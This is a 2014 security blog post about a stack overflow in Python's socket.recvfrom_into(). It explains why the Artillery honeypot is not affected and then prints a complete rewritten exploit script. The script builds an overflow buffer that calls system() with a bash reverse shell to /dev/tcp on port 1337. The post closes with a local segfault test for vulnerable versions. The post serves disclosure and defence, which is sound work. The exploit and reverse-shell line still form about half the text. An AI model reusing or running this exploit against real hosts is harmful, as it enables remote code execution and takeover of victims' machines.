Skip to Main Content
February 25, 2014

Python Remote Code Execution in socket.recvfrom_into()

Written by David Kennedy
Recently an exploit was published on pastebin (http://pastebin.com/raw.php?i=GHXSmNEg) which has a PoC for a remote code execution (stack overflow) flaw in Python 2.7 and 3.x in the socket.recvfrom_into() function. Special thanks to @integgroll for giving me a heads up. This exploit was reported back in January and has since been fixed (http://bugs.python.org/issue20246). Interesting enough, Artillery runs on Python and makes use of SocketServer() which in turn uses the socket module. Artillery fortunately is not vulnerable to this attack, the reason is by design. When creating Artillery we never actually receive any data whatsoever, we only accept a socket connection, then send the data. Artillery code below (https://github.com/trustedsec/artillery/blob/master/src/honeypot.py:
    def setup(self):
        # hehe send random length garbage to the attacker
        length = random.randint(5, 30000)

        # fake_string = random number between 5 and 30,000 then os.urandom the command back
        fake_string = os.urandom(int(length))

        # try the actual sending and banning
        try:
            self.request.send(fake_string)
           #####   #####
            self.request.close()
As you can see from above, we generate a random string based on 5, 30000 - send the data to the offending connection, then drop the connection. No actual receive occurs, and nothing that would call socket.recvfrom_into(). Diving into SocketServer() luckily socket.recvfrom_into() isn't even used, so regardless structurally Artillery would have been fine. By design we never accept data from an attacker based on this specific case and designed from the beginning to not run into issues such as a exploit for socket or SocketServer. Working with the exploit, its trivial to get a working remote exploit to work, below is a simple rewritten RCE from the exploit PoC (note the ROP gadget is not incorporated in the exploit, edit buff to incorporate NX bypass):
import struct
import socket
import sys

def off(o):
        return struct.pack('L',o)

''' 
rop = {
        'pop eax': off(0x80795ac),
        'call eax': off(0x817bb5b),
        'xor eax': off(0x8061379),
        'mov [eax], edx': off(0x8078cf6),
        'xor edx, edx': off(0x80a60d1),
}
'''

plt = {
        'system': off(0x805b7e0),
}

#addr2null = off(0x11111111)

ebx = 0xb7ae7908 
eax = ebx
eax2 = ebx+20
padd2 = 'X'*(144)
padd1 = 'Y'*(8)

system_command = 'bash -i >& /dev/tcp/0.0.0.0/1337 0>&1'

buff = 'aaaa' + off(eax) + padd1 + off(ebx) + padd2 +  plt['system'] + '||'+system_command+'x00'

try:
	ip = sys.argv[1]
	port = int(sys.argv[2])
	print "[*] Python 2.x/3.x Remote Code Execution in socket.recvfrom_into() based on PoC from @sha0coder - all credit to him."
	print "[*] Quick rewrite: Dave Kennedy @ TrustedSec"
	print "[*] Sending the exploit to %s on port %s" 
	print "[*] If successful, a shell will be listening on port 1337 on the remote victim"
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((ip, port))
	# data = s.recv(512)
	s.send(buff)
	s.close()

except IndexError:
	print "Python 2.x/3.x Remote Code Execution (NX bypass) in socket.recvfrom_into() based on PoC from @sha0coder - all credit to him"
	print "Quick rewrite by: Dave Kennedy @ TrustedSec"
	print "Usage: python exploit.py  "
There you have it. There's probably a lot of applications using this although recvfrom_into() is less used but still dangerous. Kudos to @sha0coder for the awesome PoC. If you want to test if the version of Python you are using is vulnerable, just create a quick test.py script, and place this in it:
import socket
r, w = socket.socketpair()
w.send(b'X' * 1024)
r.recvfrom_into(bytearray(), 1024)
From here just run python test.py, if you get a Segmentation fault, you need to update.